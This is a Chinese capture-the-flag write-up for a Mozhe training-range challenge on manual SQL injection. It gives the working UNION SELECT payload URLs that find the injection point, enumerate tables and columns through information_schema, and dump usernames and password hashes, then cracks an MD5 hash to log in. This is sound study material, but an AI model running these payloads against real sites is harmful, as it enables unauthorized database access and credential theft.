墨者_SQL过滤字符后手工注入漏洞测试(第3题)
靶场:
https://www.mozhe.cn/bug/detail/ZVBYR3I3eG9USnpIT0xqaDdtR09SQT09bW96aGUmozhe
背景介绍
安全工程师"墨者"最近在练习搭建一个采购系统,为了安全起见,“墨者”对该系统做了部分防护措施,请你帮助他测试系统是否安全。
实训目标
1、掌握SQL注入原理;
2、了解手工注入的方法;
3、了解MySQL的数据结构;
4、了解SQL注入常用注释字符;
5、了解sql注入常用绕过姿势;
解题方向
手工进行SQL注入测试,获取管理密码登录。
解题思路:
1、找注入点。进入平台有一个登录页面和一个广告页面,注入点在广告页面中:
判断依据:
http://219.153.49.228:48528/new_list.php?id=1' 出错
http://219.153.49.228:48528/new_list.php?id=1%27%20and%201=1--+ 正常
http://219.153.49.228:48528/new_list.php?id=1%27%20and%201=2--+ 为空
2、判断字段数,确定回显。这里是7列,2、3、4、5回显在页面上
http://219.153.49.228:48528/new_list.php?id=-1' union select 1,2,3,4,5,6,7--+
3、爆数据库及表名
?id=-1' union select 1,database(),group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()--+
4、暴(@dmin9_td4b}表的列名
?id=-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='(@dmin9_td4b}'--+
5、爆字段信息
?id=-1' union select 1,group_concat(username),group_concat(password),group_concat(status),5,6,7 from `(@dmin9_td4b}`--+
选status为1的用户名和密码登录
即mozhe3/5dc5ec0ebf09ec2e356cb595ac404856
MD5解密:607950
得到key